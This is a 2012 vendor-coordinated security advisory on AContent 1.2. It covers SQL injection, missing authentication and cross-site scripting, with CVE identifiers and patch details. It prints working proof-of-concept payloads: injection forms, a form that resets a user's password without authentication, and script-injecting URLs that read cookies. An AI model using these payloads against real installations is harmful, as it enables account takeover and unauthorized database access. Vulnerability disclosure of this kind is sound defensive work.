Multiple vulnerabilities in AContent
Advisory ID: | HTB23117 |
Product: | AContent |
Vendor: | ATutor |
Vulnerable Versions: | 1.2 and probably prior |
Tested Version: | 1.2 |
Advisory Publication: | September 26, 2012 [without technical details] |
Vendor Notification: | September 26, 2012 |
Vendor Fix: | October 12, 2012 |
Public Disclosure: | October 17, 2012 |
Latest Update: | October 12, 2012 |
Vulnerability Type: | SQL Injection [CWE-89] Improper Authentication [CWE-287] Cross-Site Scripting [CWE-79] |
CVE References: | CVE-2012-5167 CVE-2012-5168 CVE-2012-5169 |
Risk Level: | High |
| |
CVSSv2 Base Scores: | 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P) 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) |
Solution Status: | Fixed by Vendor |
Discovered and Provided: | High-Tech Bridge Security Research Lab |
Advisory Details: |
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in AContent, which can be exploited to bypass authentication and to perform Cross-Site Scripting (XSS) and SQL Injection attacks.
1) SQL Injection in AContent: CVE-2012-5167 1.1 The vulnerability exists due to insufficient sanitation of input data in the "field" HTTP POST parameter in /course_category/index_inline_editor_submit.php. A remote unauthenticated user can execute arbitrary SQL commands in application`s database. The following PoC (Proof of Concept) demonstrates the vulnerability: <form action="http://[host]/course_category/index_inline_editor_submit.php" method="post"> <input type="hidden" name="field" value="category_name-1 AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))" /> <input type="hidden" name="value" value="1" /> <input type="submit" id="btn"> </form> 1.2 The vulnerability exists due to insufficient sanitation of input data in the "field" HTTP POST parameter in /user/index_inline_editor_submit.php. A remote unauthenticated user can execute arbitrary SQL commands in application`s database. The following PoC (Proof of Concept) demonstrates the vulnerability: <form action="http://[host]/user/index_inline_editor_submit.php" method="post"> <input type="hidden" name="field" value="password=((select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2))))-1" /> <input type="hidden" name="value" value="1" /> <input type="submit" id="btn"> </form> 1.3 Input passed via the "id" GET parameter to /user/user_password.php in POST request is not properly sanitised before being used in SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. The following PoC (Proof of Concept) demonstrates the vulnerability: <form action="http://[host]/user/user_password.php?id=1' AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a%2b1)%252)))%20--%20" method="post"> <input type="hidden" name="submit" value="1" /> <input type="submit" id="btn"> </form> Successful exploitation of vulnerability 1.3 requires attacker to be registered and logged-in.
2) Improper Authentication in AContent: CVE-2012-5168 2.1 The vulnerability exists due to absent authentication in the "/user/index_inline_editor_submit.php" script. A remote unauthorized attacker can change users' passwords. The following example will change password for user with id=1 to 'password'. <form action="http://[host]/user/index_inline_editor_submit.php" method="post"> <input type="hidden" name="field" value="password-1" /> <input type="hidden" name="value" value="5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8" /> <input type="submit" id="btn"> </form> 2.2 The vulnerability exists due to absent authentication in the "/course_category/index_inline_editor_submit.php" script. A remote unauthorized attacker can modify names for existing categories. The following example will change category name with id=1 to 'new_category': <form action="http://[host]/course_category/index_inline_editor_submit.php" method="post"> <input type="hidden" name="field" value="category_name-1" /> <input type="hidden" name="value" value="new_category" /> <input type="submit" id="btn"> </form>
3) Cross-Site Scripting (XSS) in AContent: CVE-2012-5169 Input passed via the HTTP GET parameters "pathext", "popup", "framed", and "file" to /file_manager/preview_top.php is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML and script code in user's browser session in context of an affected website. The following PoCs (Proof of Concept) demonstrate the vulnerabilities: http://[host]/file_manager/preview_top.php?pathext=%22%3E%3Cscript%3Ealert%2 8document.cookie%29;%3C/script%3E http://[host]/file_manager/preview_top.php?popup=%22%3E%3Cscript%3Ealert%28d ocument.cookie%29;%3C/script%3E http://[host]/file_manager/preview_top.php?framed=%22%3E%3Cscript%3Ealert%28 document.cookie%29;%3C/script%3E http://[host]/file_manager/preview_top.php?file=%22%3E%3Cscript%3Ealert%28do cument.cookie%29;%3C/script%3E
|
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free Solution: |
Users should apply patches #1 and #2 using the AContent Administrator's Updater tool More Information: http://update.atutor.ca/acontent/patch/1_2/ |
|
References: |
[1] High-Tech Bridge Advisory HTB23117 - https://www.immuniweb.com/advisory/HTB23117 - Multiple vulnerabilities in AContent. [2] AContent - http://atutor.ca - AContent is an open source learning content authoring system and respository used to create interoperable, accessible, adaptive Web-based learning content. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.